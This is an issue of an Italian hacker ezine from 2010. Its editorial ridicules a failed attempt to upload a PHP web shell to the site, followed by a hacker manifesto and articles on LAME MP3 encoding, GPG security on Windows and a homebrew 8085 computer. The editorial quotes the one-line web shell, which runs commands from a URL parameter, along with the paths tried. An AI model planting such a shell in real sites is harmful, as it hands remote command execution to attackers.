__  _____________   ______  ____________
    / / / /  _/_  __/ | / / __ \/_  __/ ____/
   / /_/ // /  / / /  |/ / / / / / / / __/
  / __  // /  / / / /|  / /_/ / / / / /___       
 /_/ /_/___/ /_/ /_/ |_/\____/ /_/ /_____/ [0x03 :: October 2010]
                 Hackkappatoio Isn't The Name Of This Ezine

http://hitnote.gotdns.org :: http://unofficialhj.gotdns.org


************************************
* HITNOTE 0x03 :: The Lamer Attack *
************************************

moderate.zip è forse la cosa che ci ha fatto più ridere da quando abbiamo fatto
l'ultimo pesce d'aprile (http://unofficialhj.gotdns.org/april.htm) =)

Per chi non lo sapesse, ci è arrivato un files fra gli uploads di hitnote
chiamato moderate.zip da parte di un certo "ajeje"(XD), il cui contenuto era:

<?php system($_GET['cmd']); ?>

Per poi tentare di chiamarlo con:
http://hitnote.gotdns.org/moderate.zip
http://hitnote.gotdns.org/uploads
http://hitnote.gotdns.org/~root
http://hitnote.gotdns.org/~darkserver
http://hitnote.gotdns.org/images

Ok, perchè sprecare l'editoriale del forse
più bel numero di hitnote che sia mai uscito per deridere un povero fesso?
Diciamo che è un atto di carità nei confronti di questo povero bimbominkia..
moderate.zip è uno script php creato per visualizzare una shell sul server
di hitnote e prenderne il controllo.
Precisiamo che il server non esegue file .zip come php script e...
secondo te siamo così fessi da uploadare un file in /uploads/ senza negare
l'accesso sulle directory/cifrare i files?
Eh si hai sbagliato in pieno: hai fatto una gran figura di merda XD
Se queste cose le hai lette in edicola o te le ha spiegate il tuo caro CuGGGGino 
a noi non è dato sapere, fatto sta che se vuoi mandarci una bella mail, magari
rinfarcita di tante KKK e TT xké fa fiko fa pure, 
noi saremo qui a crepare dalle risate =)

Consiglio vivamente di dare un occhiata al manifesto scritto da
Piston Churchell(qua sotto) e segnalo il topic in Sociale e dintorni dove
si sta discutendo riguardo alla crazione di una nuova ideologia politica
adatta all'epoca in cui viviamo =)

|\                                                                           /|
| `.. . . . . . . . . . . . . . . . 011 101 . . . . . . . . . . . . . . . ..' |
 \   - - - - - - - - - - - - - - -  000 111  - - - - - - - - - - - - - -.-'  /
  `.    ' ' ' ' ' ' ' ' ' ' ' ' ' ' 010 101 ' ' ' ' ' ' ' ' ' ' ' ' _..'   .'
    `..    `._                                                   _.'    ..'
       `._    `-. . . . . . . . . . 101 110 . . . . . . . . _..-'    _.'
          `-._   - - - - - - - - -  011 110  - - - - - _..-'     _.-'
              `-._    ' ' '.' ' ' ' 101 100 ' ' ' _..-'      _.-'
                  `-.._      `--.__         __.--'      _..-'
                       ``-.._      _-,..--''      _..-''
                          _,,,---''         __.--',,_
                   __,,--'         _,,..--''         `--,,__
             _,.--'       _,,.,--''         ``--,.,,_       `--.,_
        _,,-'      __,,--'. . . . . 011 101 . . . . .`. . .       `-,,_
     ,-'     _,.--'- - - - - - - -  000 111  - - - - - - - - - -       `-,
  ,-'   _,--' ' ' ' ' ' ' ' ' ' ' ' 010 101 ' ' ' ' ' ' ' ' ' ' ' '--,_   `-,
 /   ,-'                                                               `-,   \
| ,-' . . . . . . . . . . . . . . . 101 110 . . . . . . . . . . . . . . . .   |
|/ - - - - - - - - - - - - - - - -  011 110  - - - - - - - - - - - - - - - -  |
|\' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' 101 100 ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '/|
| `.                                                                       .' |

0==============================================================================0
|Hacker non è una persona, è un ideale.                                        |
|L'ideale della curiosità.Alcuni sin da bambini sono rimasti affascinati da ciò|
|che gli altri sfruttavano per il semplice divertimento o per la comunicazione.|
|Come funziona la televisione, papà? Che posso farci oltre questo con il compu-|
|-ter, zio? E se scrivo queste cose in questa finestra qui...?                 |
|Spesso la curiosità invece ce la ispira l'universo, il cosmo.Chiedendosi tanti|
|perché, siamo finiti a chiederci anche il come funziona,come funziona il PC,  |
|come funziona questo o quell'apparecchio,perché compare questa scritta (perché|
|abbiamo ancora quel virus di sistema operativo che altri non è windows?).     |
|E i punti interrogativi hanno trovato risposte,persone che fornivano responsi,|
|responsi che con pronta capacità critica verificavamo o smentivamo.E dai punti|
| fermi,altra curiosità,infermabile voglia di scoprire,di approfondire.Andare  |
| sempre più dentro alle cose.                                                 |
|                                                                              |
|                                                                              |
|Un hacker non entra nei sistemi della nasa,o almeno non lo fa per essere tale.|
|Leonardo da Vinci era un hacker del XV secolo: era così avanti da sfruttare la|
| forza del vapore,ma in quella mente le idee affioravano così velocemente che |
| nemmeno la mano sul foglio stava dietro alla fantasia,alla creatività.       |
|Preso,con l'adolescenza,la curiosità sfiora altri campi,ci porta al contrasto |
| con la società,con il potere precostituito.Mettere o meno al servizio dei    |
| nostri ideali il nostro sapere? Condividere con gli altri quanto ho sudato   |
| per conoscere?                                                               |
|                                                                              |
|Il dissenso monta in sconforto quando ci accorgiamo che a genitori,fratelli,  |
|parenti, non interessa affatto sapere di più della vita,di ciò che ci rende   |
|unici e che ci ha portati così in alto.Spesso sentiamo di essere incompresi da|
| una comunità ignorante.Eppure l'uomo ha avuto la supremazia sull'animale non |
| per la sua forza,che sarebbe stato schiacciato se fosse servita solo quella, |
|ma per la sua intelligenza,la sua arguzia.                                    |
|Perché,come,?, sono sinonimi di hacker.                                       |
|Colui che ha scoperto l'energia insita nell'atomo e ne ha espresso in una for-|
|-mula il concetto,è stato spinto dalla  passione,lui è un hacker della fisica.|
|Colui che ha iniettato dna, sintetizzandolo artificialmente, in una cellula,  |
| creando una specie mai esistita prima,lui è un hacker della vita.            |
|                                                                              |
|Al confronto con tale profondità interiore,con tale interconnessione con la   |
| consistenza delle cose,quanto ridicoli appaiono gli altri,utilizzatori di una|
| tecnologia non loro,non da loro comprensibile?Al confronto con questi ultimi,|
|ancora più ridicoli appaiono i lamer,incarnatori della violenza cieca umana,  |
|meccanici profittatori dell'ingegno altrui.                                   |
|Ecco che i bioterroristi sono lamer della vita,Truman fu lamer della fisica.  |
|Hanno usato o useranno le tecnologie scoperte con passione da altri uomini per|
| intenti malevoli,e non capendo il funzionamento di tali tecnologie probabil- |
|-mente,anzi certamente,non capiscono le conseguenze dell'abuso di esse.       |
|                                                                              |
|Infine ci sono gli hacker della filosofia,da non confondere con i filosofi    |
| della cultura hacker.Gli hacker della filosofia sono curiosi di scoprire cosa|
| c'è dentro la vita,la vita di un uomo.Desiderano offrire ad ogni essere in-  |
|-telligente la possibilità di riscattarsi,di accedere al sapere di tutti,al   |
|sapere che ognuno contribuisce ad espandere esponenzialmente con le esperienze|
|di vita.Gli hacker della filosofia sono portatori della curiosità contagiosa, |
|quelli che esportano l'avidità di scoprire.                                   |
|                                                                              |
|Non c'è niente di meglio di far "nascere" nuovamente un individuo,permet-     |
|tendogli di fare scoperte e di capire meglio la realtà del nostro universo.   |
|Questi hacker vorrebbero anche organizzare la società in base a dei principi  |
|dettati dal rispetto della dignità umana e da nient'altro.                    |
|Questi hacker incontrano i lamer della politica.                              |
|                                                                              |
|Piston Churchell.                                                             |
0------------------------------------------------------------------------------0


Chiudo l'editoriale con questa affermazione:

"Se Dio è esistito, probabilmente era un hacker"

Turbocotoletta, MMX  D.C.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Indice:

* 0x00 . LAME (Lame Ain't an MP3 Encoder)
* 0x01 . Gnu Privacy Guard: sotto Windows è meglio stare sicuri
* 0x02 . 8085 µComputer "Gavian"
* 0x03 . I blogger e la loro fuga «cibernetica» verso l'estero
* 0x04 . I PIC, prima parte
* 0x05 . I display a 7 segmenti
* 0x06 . Torri di Hanoi
* 0x07 . Reverse Engineering
* 0x08 . Riddle
* 0x09 . Ringraziamenti


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


********************************************
* 0x00 :: LAME (Lame Ain't an MP3 Encoder) *
********************************************

Il LAME è un gran bell'Hack.
Io non sono un estimatore dell'audio compresso (anzi), e non sono neanche un
fissato per l'ottimizzazione; però mi ritrovo sempre a ricreare compilation di
MP3 che "non vanno" per problemi di bitrate (su alcuni player anzianotti/
lowlevel) o di "uniformità". C'è una moltitudine di GUI dedicate al LAME, ed
alcune consentono d'impostare dettagliatamente i parametri per il LAME; ma il
popolo informatico è meno reattivo di un 'bradypus variegatus' (mammifero che
adoro).

«URLi» di richiamo:
http://it.wikipedia.org/wiki/MP3
http://wiki.hydrogenaudio.org/index.php?title=Lame


Prima di tutto bisogna distinguere fra i tre metodi di codifica disponibili:

----> Constant BitRate (CBR): è usato come default dal LAME; il bitrate è
costante per l'intero file, cioè in ogni istante musicale viene usato lo stesso
numero di bits; ciò facilita il lavoro di codifica e consente anche ai players
più «scarsi» di stabilire con esattezza i tempi di riproduzione; però i «pieni
orchestrali» avranno meno definizione rispetto ad un eventuale «stormire di
foglie», dato che lo «stormire di foglie» potrà sfruttare tutti i bits senza
averne bisogno mentre invece un «pieno orchestrale» non avrà mai abbastanza
banda affinchè sia esaltata tutta la dinamica e si possano distinguere tutti
gli strumenti; perciò il CBR non sarebbe l'deale per la musica sinfonica, dove
gli assoli verrebbero troppo definiti rispetto a tutta l'orchestra.

----> Average BitRate (ABR): average = media; in questo modo il bitrate
specificato è usato come media durante la codifica: i «pieni orchestrali»
potranno arrivare fino a 320kbps mentre per tutto il resto viene
automaticamente calcolato un bitrate di media vicino a quello specificato (o di
minimo, se specificato); perciò l'ABR è adatto a qualsiasi tipo di musica e
certamente genera file più piccoli rispetto al CBR.

----> Variable BitRate (VBR): in questo modo il bitrate specificato è usato
come massimo durante la codifica dei «pieni orchestrali», mentre per tutto il
resto viene automaticamente calcolato il minimo bitrate necessario (o
specificato); ciò appesantisce al massimo il lavoro di codifica (non che sia un
problema, per CPUs superiori ad un x486) e non consente ai players più «scarsi»
di predire con esattezza i tempi di riproduzione; in compenso, il VBR genera
file ancòra più piccoli dell'ABR.

E poi occorre conoscere almeno i parametri più comuni (per tutto il resto: man
lame):

-B x

Per MPEG1 (frequenze di campionamento di 32, 44.1, 48kHz) x = 32, 40, 48, 56,
64, 80, 96, 112, 128, 160, 192, 224, 256, 320
Per MPEG2 (frequenze di campionamento di 16, 22.05, 24kHz) x = 8, 16, 24, 32,
40, 48, 56, 64, 80, 96, 112, 128, 144, 160
Specifica il massimo bitrate per la modalità VBR o ABR, in kbps.
Da non usarsi se il bitrate (parametro "-b x") è a 128kbps perchè potrebbe
generare dei frames che usano più bits di un CBR a 320kbps!

-b x

Per MPEG1 (frequenze di campionamento di 32, 44.1, 48kHz) x = 32, 40, 48, 56,
64, 80, 96, 112, 128, 160, 192, 224, 256, 320
Per MPEG2 (frequenze di campionamento di 16, 22.05, 24kHz) x = 8, 16, 24, 32,
40, 48, 56, 64, 80, 96, 112, 128, 144, 160
default per MPEG1 = 128
default per MPEG2 = 64
Serve a specificare il bitrate di base, in kbps.
Se viene usato per la modalità VBR o ABR (insieme al parametro "-B x"), allora
questo parametro "-b x" ìndica il minimo bitrate usabile nella codifica, mentre
il parametro "-B x" ìndica il massimo bitrate usabile nella codifica.
Se viene usato per la modalità CBR (da solo) questo parametro "-b x" specifica
il valore del bitrate costante.
Comunque, in caso di silenzi e/o vuoti di forma d'onda dell'audio sorgente,
verrà usato il frame minimo disponibile (che è più piccolo), e non quello
specificato da questo bitrate (parametro "-b x"), in modo da ridurre al minimo
la quantità di bytes con valore zero.

--cbr

Serve ad abilitare la modalità CBR e, se si aggiunge il parametro "-b x", a
specificarne il bitrate.
Questo parametro "--cbr" è facoltativo: non è necessario specificarlo, dato che
LAME usa la modalità CBR come default, se non è abilitata un'altra modalità di
codifica.

--abr x

(8 < x > 310) {sì: è trecentodieci!}
Serve ad abilitare la modalità ABR specificandone il bitrate di media usabile
nella codifica, in kbps.
Può essere usato insieme ai parametri "-b x" e "-B x" per specificare
esattamente anche i valori minimo et massimo (rispettivamente) usabili nella
codifica in ABR.

-m x

x = s, j, f, d, m
default = j
Serve a specificare la modalità audio:
 "-m s" (stereo): non viene considerata nessuna potenziale correlazione tra i
due canali Left&Right e i segnali vengono mantenuti completamente separàti; la
banda viene resa più disponibile al canale che ne ha più bisogno: in caso di
silenzio o di minore complessità in uno dei due canali, nell'altro verrano resi
disponibili più bits per la codifica.
 "-m j" (joint-stereo): và bene se i canali Left&Right non hanno bisogno della
massima separazione; genera una specie di canale centrale in cui mixare
potenziali equivalenze e correlazioni tra i due canali, e conseguentemente
risparmia bits e rende disponibile più banda.
 "-m f" (forced joint-stereo): è come la "joint-stereo" ma peggiora la qualità,
perchè le correlazioni tra i due canali non vengono cercate ma forzate; quindi
si genera maggiore mixaggio nella zona centrale; perciò è adatto solo per audio
con separazione molto bassa tra i due canali.
 "-m d" (dual-channels): è come la "stereo" ma peggiora la qualità, perchè i
canali vengono sì mantenuti separàti ma la banda totale ed il bitrate
disponibili sono sempre suddivisi esattamente a metà tra i due canali, e ciò
peggiora la qualità rispetto alla modalità "stereo"; se ne consiglia l'impiego
solo in casi speciali (ad es.: traduzioni bilingue, nelle quali l'inglese è in
un canale e l'italiano nell'altro).
 "-m m" (mono): i due canali Left&Right vengono mixati in un unico canale, ed
il tutto viene attenuato (circa -6dB).

-V x

(0 < x > 9)
default = 4
massima qualità = 0
Serve ad abilitare la modalità VBR specificandone la qualità (intesa come
scelta del massimo bitrate applicabile).

-q x

(0 < x > 9)
Serve a specificare quale algoritmo di qualità usare nella codifica. Questa è
la vera e propria qualità della codifica in MP3: determina l'eliminazione del
rumore-di-fondo e il profilo della forma-d'onda.
Per avere un file.mp3 migliore, non basta aumentare la banda disponibile (il
bitrate), bensì occorre anche usare un algoritmo di qualità migliore:
"-q 0" è la migliore in assoluto (ma anche la più lenta: ricordarlo in caso di
file enormi).
"-q 1" non ha differenze udibili rispetto alla "-q 0;" very good ;).
"-q 2" è consigliata come alta qualità; equivale ad usare il parametro "-h."
"-q 5" sarebbe quella usata come default; buona velocità e buona qualità.
"-q 7" è molto veloce ma l'ambientazione ne risente; non è l'ideale per una
strumentazione acustica.
"-q 9" è la più veloce ma anche la più scarsa; solo per casi particolari.
A partire dalla versione 3.95 del LAME la qualità viene migliorata e scalata:
il nuovo "-q 1" equivale al vecchio "-q 0", e il nuovo "-q 0" è di una nuova
qualità superiore; quindi se si mantiene la vecchia impostazione di questo
parametro (usata con le versioni precedenti alla 3.95) in realtà si usa un
livello migliore di qualità.

-h

High quality specifications.
Specifica che dev'essere rispettata una qualità almeno equivalente al parametro
"-q 2" (a partire da LAME v.3.95). Se il parametro "-q x" è specificato, questo
parametro "-h" è inutile.

--resample x

x = 8, 11.025, 12, 16, 22.05, 24, 32, 44.1, 48
Serve a specificare la fequenza di campionamento della codifica (quella che
avrà il file.mp3 prodotto), in kHz.
Se non è specificata, LAME ne imposta una in automatico; ma è bene specificarla
sempre, dato che LAME potrebbe confondersi con certi file poco regolamentari.


Ed ecco alcuni esempi (omettendo "fileOUT.mp3" si ottiene "fileIN.wav.mp3" come
nome del nuovo file convertito):

#1 codifica in ABR, 224kbps medii, minimo 192kbps, massimo 320kbps, stereo,
qualità altissima:
(è adatto a tutti i generi musicali)

 lame --abr 224 -b 192 -B 320 -m s -q 1 --resample 44.1 fileIN.wav fileOUT.mp3

#2 codifica in CBR, 320kbps costanti, stereo, qualità massima:
(è adatto a complessità musicali omogenee: verificare per sinfonica et liriche)

 lame --cbr -b 320 -m s -q 0 --resample 44.1 fileIN.wav fileOUT.mp3

#3 codifica in VBR, 224kbps minimi, 320kbps massimi, stereo, qualità massima:
(la VBR migliore)

 lame -V 0 -b 224 -B 320 -m s -q 0 --resample 44.1 fileIN.wav fileOUT.mp3

#4 codifica in CBR, 224kbps costanti, stereo, qualità altissima:
(è una CBR come il #2, ma comprime più del #2 perchè è a 224kbps)

 lame -b 224 -m s -q 1 --resample 44.1 fileIN.wav fileOUT.mp3

#5 codifica in CBR, 224kbps costanti, joint-stereo, qualità massima:
(è simile al #4 ma usa meno separazione stereofonica)

 lame -b 224 -m j -q 0 --resample 44.1 fileIN.wav fileOUT.mp3


LAME è un software molto complesso, ed include molti altri parametri per
esigenze tecniche particolari o anche solo per semplificare un comando:

 lame --preset insane fileIN.wav fileOUT.mp3
oppure
 lame --preset cbr 320 fileIN.wav fileOUT.mp3

specifica d'usare il preset "insane" incorporato nel LAME, ed equivale a:

 lame --cbr -b 320 -m s -q 1 --resample 44.1 fileIN.wav fileOUT.mp3

che provvede a convertire a 320kbps con la miglior qualità possibile in
relazione al contenuto del file sorgente: ciò significa che "insane" potrebbe
anche  lavorare con un q = 3 ma produrrà sempre un file di dimensioni max.
Per la modalità VBR, esistono:

 lame --preset medium fileIN.wav fileOUT.mp3
 lame --preset standard fileIN.wav fileOUT.mp3
 lame --preset extreme fileIN.wav fileOUT.mp3

che provvedono a convertire, rispettivamente, con VBR di 150...180kbps e
qualità media, con VBR di 170...210kbps e qualità standard, con VBR di
200...240kbps e qualità massima; anche se, in realtà, tutto dipende dalla
complessità musicale del file sorgente, e quindi un "--preset standard"
potrebbe convertire con VBR di 80...256kbps, mentre un "--preset extreme"
potrebbe convertire con VBR di 112...320kbps.

Poi ci sono parametri più specifici, tipo:

 lame --vbr-new -V 0 -b 224 -B 320 -m s -q 0 fileIN.wav fileOUT.mp3

che si può usare con LAME v3.90 o superiore, e che ìndica d'usare il VBR
«nuovo» (parametro "--vbr-new") che lavora a velocità raddoppiata ma con minore
qualità rispetto al VBR «vecchio» ("--vbr-old", sempre usabile e ancòra molto
apprezzato) che lavora più lentamente (per modo di dire, date le CPU moderne)
ma con la massima qualità possibile.

I preset disponibili sono elencabili con:

 lame --preset help


Per ottenere un nuovo file.mp3 ad un bitrate inferiore (downsampling) e senza
usare l'originario file audio, basta dare in input un file.mp3; ad esempio:

 lame -V 0 -b 128 -B 192 -m s -q 1 --mp3input fileIN.mp3 fileOUT.mp3

(dove "--mp3input" non è obbligatorio se fileIN ha estensione ".mp3", e
omettendo "fileOUT.mp3" si ottiene "fileIN.mp3.mp3" come nome del nuovo file
convertito)
Ovviamente la ricodifica verso l'alto (upsampling) non conviene: nulla viene
aggiunto alla qualità, e tutti i nuovi bits aggiungono solo «informazione»
inventata.
E comunque se è disponibile l'originario file audio conviene ricreare da esso
un nuovo MP3 anche se a bitrate più basso, così gli algoritmi relativi alla
psicoacustica possono lavorare sui campioni originali non troncati.


E questo è quanto :)

Dopotutto si tratta sempre di audio convertito con "algoritmi distruttivi"
(alias "lossness", aka "lossy"): l'eventuale riconversione in WAVE non riporta
alla qualità originale.
Tra i 224kbps e i 320kbps non si avvertono differenze, se non si usano delle
cuffie-di-riferimento (alta qualità) e non si ha un orecchio allenato e non si
tratta di strumentazione complessa. Sotto i 128kbps è meglio non andarci (salvo
esigenze particolari). Per andare oltre i 320kbps del LAME occorre usare altri
CODEC (CODEC = COder+DECoder), tipo il freeware OggVorbis (che in realtà si
chiama solo Vorbis, ed i relativi file.ogg possono contenere altri formàti); ma
così non si tratterebbe più di MP3 (alias "MPEG-1 LayerIII"), e comunque ci si
farebbe «prender la mano» convertendo tutto a 500kbps, cosa che non sarebbe
molto pratica pur considerando che la traccia-audio originale sui CD-Audio
arriva a 1378kbps (2250kbps e oltre per i DVD-Audio).
Se si vuole mantenere la qualità in poco spazio, non bisogna convertire bensì
comprimere i WAVE originali, per poi decomprimerli prima (manualmente oppure
automaticamente «al volo» dal player che li riproduce) di poterli ascoltare;
cioè bisogna usare "algoritmi non distruttivi" (alias "lossless"), specifici
per l'audio, come i freeware FLAC (FreeLosslessAudioCodec) e Monkey's-Audio,
che possono arrivare a ridurre a meno del 50% lo spazio occupato da un file
WAVE.
Viceversa, quando la priorità è risparmiare spazio, LAME è secondo (per
pochissimo) solo a Vorbis che «suona» pure meglio a bitrate uguali o inferiori
a 128kbps.
LAME (Lame Ain't an MP3 Encoder = Lame non è un encoder MP3) è un acronimo
ricorsivo scelto per l'origine di questo codice, e che poi è rimasto invariato
nonostante il codice sia stato completato per divenire un completo coder (e
decoder). LAME è nato da un fork di un progetto closed, al fine di rendere più
veloce ed efficace il funzionamento; ed infatti a tutt'oggi LAME è il miglior
encoder-audio freeware su tecnologia MPEG. E nonostante siano incluse delle
porzioni di codice molto simili alle tecnologie brevettate dalla Fraunhofer,
LAME è distribuito come freeware OpenSource e soprattutto come «software
educativo per imparare la sofisticata codifica MP3», al fine di non incappare
in problemi di licenze. Certo è che LAME è capace di ridurre drasticamente gli
incassi monetari (i royalty per i brevetti) dei «proprietari» del primo CODEC
"MPEG-1 Layer III".
Ringrazieremo sempre gli Hackers che hanno creato, e che continuano a
migliorare, il LAME e tutti gli altri CODEC freeware e OpenSource, e
rispetteremo sempre l'enorme sforzo fatto sul codice :)

«URLo» nella foresta: http://lame.sourceforge.net


Byez!

tok_tok


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


******************************************************************
* 0x01 :: Gnu Privacy Guard: sotto Windows è meglio stare sicuri *
******************************************************************

Eccoci qui a parlare del GPG per la terza volta; questa volta approfondiremo 
tutto sotto ambiente Windows. 
Sull'uso non c'è molto da dire: Windows è a prova di idioti.
Piuttosto vorrei approfondire l'aspetto della sicurezza sotto Windows.

Dunque, avete due possibilità di uso del gpg:

1) installate gpg.exe e lo usate da prompt dei comandi...
ma sotto windows non è fra le opzioni più comode.

2) installate un pacchetto tipo gpg4win e vi godete un'interfaccia utente molto
più amichevole del semplice prompt dei comandi.

Il pacchetto gpg4win è scaricabile da http://www.gpg4win.org e comprende
-GPG (ma va?)
-Kleopatra: GUI molto carina (nelle penultime versioni era abbastanza instabile; 
            da quella attuale, la 2.0.4, è diventata molto più stabile!)
-GPA: GUI meno carina secondo me. ma pur sempre usabile :D
-GpgOL: plugin per Outlook per cifrare/decifrare direttamente le emails in GPG
-GpgEX: plugin per Explorer: permette di cifrare/decifrare files cliccandoci su
        con il tasto destro
-Claws-Mail: un client di posta elettronica alternativo otimizzato per il GPG
             (secondo me abbastanza inutile: basta usare Thunderbird + Enigmail
             e il gioco è fatto ;) )
-Manuali utente: non c'è bisogno che spieghi cosa siano XD

Bene. Installate quello che volete e divertitevi: le GUI sono a prova di idiota:
sono facilissime da usare. Kleopatra in particolare.

Se volete creare una nuova chiave GPG, basta andare nel menu 
File => New Certificate => Create a personal OpenPGP key pair.

Ora però sarebbe bello concentrarsi sulle misure di sicurezza da adottare
(su tutti i sistemi, ma in particolare sotto Windows).

Dunque... vediamo un po'. 
La chiave privata viene cifrata in un algoritmo simmetrico: serve una passphrase
per decifrarla, quindi..se la passphrase inserita è robusta, non dovreste avere
problemi.

Per la cronaca:
Password   = pass word   = parola segreta
Passphrase = pass phrase = frase segreta

Come altre milioni di guide, se usate passphrase lunghe composte da lettere, 
numeri e simboli non bastano millenni per provarla a tentativi: chiunque vorrà
provare a forzarla dovrà provare parole comuni o combinazioni di esse.

Quindi, basta semplicemente trasformare una frase del tipo:

    tanto va la gatta al lardo che ci lascia lo zampino

in

    Tant0.va.la.gatta al lardo()che ci lascia lozampin0$#

che nessuno più ve la beccherà ;)

Attenzione a non scrivere la password da nessuna parte; e se dovete buttar via
foglietti contenenti password o dati simili..bruciateli!!!
C'è gente pazza come me che va a raccogliere fogli nella spazzatura!

Ora però potrebbero fregarvi installando un keylogger sul vostro pc:
il programma registrerà tutti i tasti premuti. 

Per difendervi dai keylogger non bastano libri: i modi per far eseguire sul
vostro pc programmi indesiderati sono milioni...posso solo consigliarvi di
installarvi un antivirus + firewall e magari controllare di tanto in tanto
il traffico di rete(pacchetti inviati e ricevuti) con strumenti tipo Wireshark.

Altra cosa sarebbe controllare i programmi aperti: quando siete sicuri di non
avere niente(magari pc appena formattato/reinstallato), segnatevi i processi
aperti.
Poi di tanto in tanto controllate che non ci sia roba nuova XD

Anche se ultimamente si stanno diffondendo i rootkit: l'utilizzo più semplice
di un rootkit è quello di nascondere processi nel task manager :(

Quindi, se proprio volete stare sicuri con il gpg, usatelo sotto sistemi Linux,
MAC, BSD e tutti gli *nix.

Se volete aprire un programma sconosciuto in ambiente windows, esistono
le Virtual Machines(VM).
Una VM comoda da usare sotto Windows è Virtual PC della Microsoft.
E' l'ideale per emulare sistemi Windows sotto Windows.
Da qualche problema in più ad emulare sistemi *nix.

Un'alternativa è Virtual Box della Sun: gira sotto tutti i sistemi operativi 
ed è l'ideale per emulare sistemi *nix.

Esiste anche VMWare. Forse è la più usata delle 3. 
Ma non mi sta per niente simpatica. :)

Eseguendo programmi sconosciuti sotto VM potete stare sicuri che non 
tocchino il sistema operativo principale.

L'ultima cosa per stare sicuri è...NON USATE INTERNET EXPLORER per navigare.
Passate ad un browser più sicuro, come Mozilla Firefox o Google Chrome.

Con questo concludo quest'ultimo articolo sul gpg.

Buon divertimento e buona cifratura ;)

r0b0t82


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


**********************************
* 0x02 : 8085 µComputer "Gavian" *
**********************************

Ci sono cose che hanno sempre affascinato un po' tutti,specialmente i più n0b..
Quante volte abbiamo letto chi su hardware upgrade, chi su yahoo answer, chi
su hacker journal e chi su infernet, "come si crea un virus?"
"come posso spiare le conversazioni di mia sorella?"
"si può costruire un computer?"

Penso che chiunque abbia un età maggiore di 11 anni possa sorridere a queste 
domande, alle prime due vi risponderò ridendo (eh si, pure io quando ero 
nabbetto mi ponevo ste domande) arrangiatevi, mentre per la terza, 
forse ho qualcosa di meglio. un computer tutto nuovo con una tech
di 30 anni fa e un po' di sano linguaggio macchina pre X86 =PPPPPPP.
Tutto rigorosamente artigianale e inedito. 
Come quelli del foro e del chan di irc (sia il chan di uhj che quello di 0x90) 
potranno dirvi che per qualche settimana sono stato indeciso su quale cpu usare
e arrivavo con affermazioni del tipo: 
«la 6502 è sacra», 
«il zilog è famosissimo per ste cose», 
«c'è il motorola che è una bomba»,
«il cosmac è andato nello spazio»,
e l'8085 non lo caga nessuno.
Già. Solo che di 8085 ce ne ho una scatola piena, gli altri invece eh..
quindi dopo estenuanti discussioni con chi prima di me, che magari nell'epoca 
d'oro si era comprato un kit dalla spagna o dagli usa di una sorta di 
calcolatrice programmabile, sono giunto alla conclusione che quasi tutti 
quei processori che ho indicato, pur avendo fatto la storia dell'informatica 
sono inadatti in quanto il loro linguaggio macchina  è finito nei libri 
di storia o la complessità di una loro integrazione in un PCB avrebbe snaturato 
tutto il progetto.

Infatti:

1. deve essere semplice da comprendere, a prova di idiota insomma.
2. deve avere qualche linguaggio di programmazione attualmente utilizzato 
   o un derivato
3. deve essere economico da costruire e soprattutto facilmente espandibile

4. Deve avere tanti bei pulsanti colorati che facciano sembrare il 
   micro computer una sorta di divinità scesa in terra e in grado di svolgere 
   qualunque compito =)

(questo punto solo per la versione 1.0A, visto che in futuro ci potranno essere 
vari upgrade sia miei che dei lettori che si cimenteranno nella costruzione).

Comunque,  per chi possedesse un altro processore a 8 bit, o anche più, 
sarà facilmente in grado di convertire gli schemi per la sua CPU, 
visto che all'epoca avevano il pallino di scopiazzarsi le idee =)

Ok. Passiamo alle caratteristiche tecniche:

0----------------------+---------0
| Clock Processore:    | 6 mhz   |
|----------------------+---------|
| Ram minima           |256 bytes|
|----------------------+---------|
| Schermo: 8 Led data + controllo|
|--------------------------------|
| Interfaccia umana: switch      |
0--------------------------------0

=))))))

mmh dunque, spieghiamo un po' i vari switch di controllo, per il resto dovreste
riuscire a districarvi: all'alimentazione ce ne è uno centrale, tanto caro agli
utenti di winzoz, il cristallo è comandato da uno switch a due posizioni RUN
e Freeze, questo per far partire il processore o bloccarlo, sulla sinistra ci 
sono, collegati al data bus gli switch per le varie righe di bytes, per l'ale 
vi rimando ai miei appunti su carta verde oppure ai vari datasheet. 
Ho deciso di pubblicare uno schema senza valori di resistenze o nomi di porte 
logiche in quanto sta al costruttore, scegliere i componenti di cui dispone  
in modo che possa utilizzare ciò che già possiede senza spararsi seghe mentali, 
comunque, in linea di massima, servno all'incirca:

- 01 CPU 8085  con cristallo di clock,
- 01 RAM M81C55 o equivalente, possibilità di usare ram ddr se vi sbattete =)
- 02 transistor NPN,
- 01 integrato con ALMENO 3 porte logiche AND
- 01 integrato con ALMENO 2 porte NAND
- 14 switch a una posizione (chiusi o aperti)
- 01 switch a due posizioni
- 21 led, consiglio 8 verdi per data, 8 gialli per address, i restanti rossi,
  ma il colore non è importante, è solo per non confonderli =)))

Se volete un cicalino e poi potete facilmente espandere..  
Per domande, chiedete sul foro In sezione elettronica, 
comunque anche se ho progettato il computer vi ricordo che non sono ne Wozniak 
ne un perito elettronico, ma credo di potervi essere utile lo stesso =)))

Prossimamente, SE non avrò troppi impegni pubblicherò quacosa su schermo, audio,
video e tastiera, magari un giorno la micro pulce avrà un Os tutto suo =)

Per le schematiche vi rimando al foro di uhj =)

Links utili:
- Sito di elettronica in generale:
  http://digilander.libero.it/nick47/trns.htm

- Wiki
  http://it.wikipedia.org/wiki/Intel_8085

- Cpu world, pagina sulle architetture
  http://www.cpu-world.com/Arch/8085.html 

- Sheet cpu
  http://pdf1.alldatasheet.com/datasheet-pdf/view/122715/INTEL/8085A-2/BQA.html 

- Sheet RAM
  http://www.alldatasheet.com/datasheet-pdf/pdf/11400/OKI/MSM81C55-5GS.html

- Il sito non ufficiale di quelli più fighi dell'ufficiale
  http://unofficialhj.gotdns.org 

Hack the planet, Again!!! 
 
Turbocotoletta, 4 Hitnote, CopySucks MMX ;)


